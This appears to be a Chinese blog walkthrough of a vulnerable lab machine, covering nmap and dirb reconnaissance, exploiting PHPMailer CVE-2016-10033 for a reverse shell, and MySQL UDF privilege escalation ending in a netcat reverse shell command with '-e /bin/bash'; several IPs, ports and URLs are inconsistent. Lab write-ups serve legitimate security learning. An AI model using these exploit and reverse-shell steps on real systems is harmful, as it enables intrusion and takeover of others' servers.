udf提权

环境:

kali:192.168.157.128

linux靶机:192.168.157.130

1.使用nmap对当前网段进行扫描

nmap 192.168.157.0/24

发现靶机IP和开放端口

2.对靶机进行详细的服务探测

  • -sS:使用 SYN 扫描(半开放扫描)方式,向目标主机发送 SYN 请求进行端口扫描。
  • -sV:对开放的端口进行版本探测,尝试获取正在运行的服务的版本信息。
  • -T4:设置扫描速度为快速模式。
  • -A:启用一系列的侦测功能,包括操作系统探测、脚本扫描等。

nmap -sS -sV -T4 -A 192.168.157.130

3.使用dirb对80端口对应的网站进行目录爆

dirb http://192.168.157.130

在http:192.168.157.130/vendor/PATH这个路径发现第一个flag

在http:192.168.157.130/vendor/README.md这个文件中发现使用的插件是PHPMailer

在http:192.168.157.130/vendor/SECURITY.md发现了PHPMailer的历史漏洞

翻译http:192.168.157.130/vendor/SECURITY.md页面的内容如下:

关于 PHPMailer 的安全通知:

请负责任地通报发现的任何漏洞,将发现的任何安全问题私下报告给维护人员。

PHPMailer 版本 5.2.18 之前(于 2016 年 12 月发布)存在漏洞 CVE-2016-10033 ,是一种远程代码执行漏洞,由 Dawid Golunski 负责报告。

PHPMailer 版本 5.2.14 之前(于 2015 年 11 月发布)存在漏洞 CVE-2015-8476 ,是一种 SMTP CRLF 注入漏洞,允许任意消息发送。

PHPMailer 版本 5.2.10 之前(于 2015 年 5 月发布)存在漏洞 CVE-2008-5619 ,是一个远程代码执行漏洞,存在于捆绑的 html2text 库中。这个文件已在 5.2.10 中删除,因此如果您使用的版本早于此版本并且使用 html2text 函数,则非常重要的升级并删除此文件。

PHPMailer 版本 2.0.7 和 2.2.1 之前存在漏洞 CVE-2012-0796,是一种电子邮件头注入攻击。

Joomla 1.6.0 不安全地使用 PHPMailer,允许揭示本地文件路径,报告于 CVE-2011-3747

PHPMailer 未对 SetLanguage 中的 $lang_path 参数进行清理。这本身不是问题,但某些应用程序(如 PHPClassifieds、ATutor)也未能清理传递给它的用户提供的参数,允许半任意本地文件包含,报告于 CVE-2010-4914 、 CVE-2007-2021 和 CVE-2006-5734

PHPMailer 1.7.2 及更早版本存在可能的 DDoS 漏洞,报告于 CVE-2005-1807

PHPMailer 1.7 及更早版本(2003 年 6 月)在 SendmailSend 方法中存在可能的漏洞,其中 shell 命令可能无法进行清理。报告于 CVE-2007-3215

在http:192.168.157.130/vendor/VERSION发现了PHPMailer当前的版本,正好是5.2.16,符合CVE-2016-10033,直接找exp

4.40947文件

searchsploit 40974

cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root/桌面/3  复制到桌面的文件夹

vi 40974.py   #编辑文件

41行:修改成目标地址
42行:生成的后门文件名称
44行:修改反弹的ip及端口
47行:网站的根目

python 40974.py   #运行Python文件

5.监听本地8888端口

监听之前将kali默认的shell切换为bash

bash

nc -lvnp 8888

同时访问http:192.168.157.130/contact.php,在接着访问http:192.168.157.130/test.ph
p。因为我们想访问contact.php,才会生成test.php的后门。

使用技巧切换为稳定的shell,依次执行一下代码
python -c 'import pty; pty.spawn("/bin/bash")'
CTRL+z
stty raw -echofg

6.寻找剩下的flag

find -name flag*

MYSQL-UDF提权

1.查看MySQL进程信息,是root权限运行

ps aux | grep mysql

2.查看在wordpress目录下的wp-config.php文件看mysql的账号及密码

3.查看mysql是否有版本及是否有写入权限及插件目录

mysql -uroot -pR@v3nSecurity 登录mysql
select version();
show global variables like 'secure%'; #首先看一下是否满足写入条件
show variables like 'plugin%';或select @@plugin_dir; #查看插件目

4.将文件1518.c从kali中复制出来,进行本机编译

cp /usr/share/exploitdb/exploits/linux/local/1518.c /home/kali/Desktop
gcc -g -c 1518.c
gcc -g -shared -o udf.so 1518.o -lc
python -m http.server   # 开启服务

wget http:192.168.86.128:8000/udf.so

mysql -uroot -pR@v3nSecurity
use mysql;
create table foo(line blob); #进入数据库创建数据表
insert into foo values(load_file('/tmp/udf.so')); #插入数据文件
select * from foo into dumpfile '/usr/lib/mysql/plugin/udf.so';     #成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出,outfile会有特殊的转换,而dumpfile是原数据导出!
create function do_system returns integer soname 'udf.so';      #创建自定义函数
do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:

select * from mysql.func;    #查看以下创建的函数

本地监听nc -lvnp 4455
mysql中执行:select do_system('nc -nv 192.168.168.128 6666 -e /bin/bash')

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

lin___ying

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值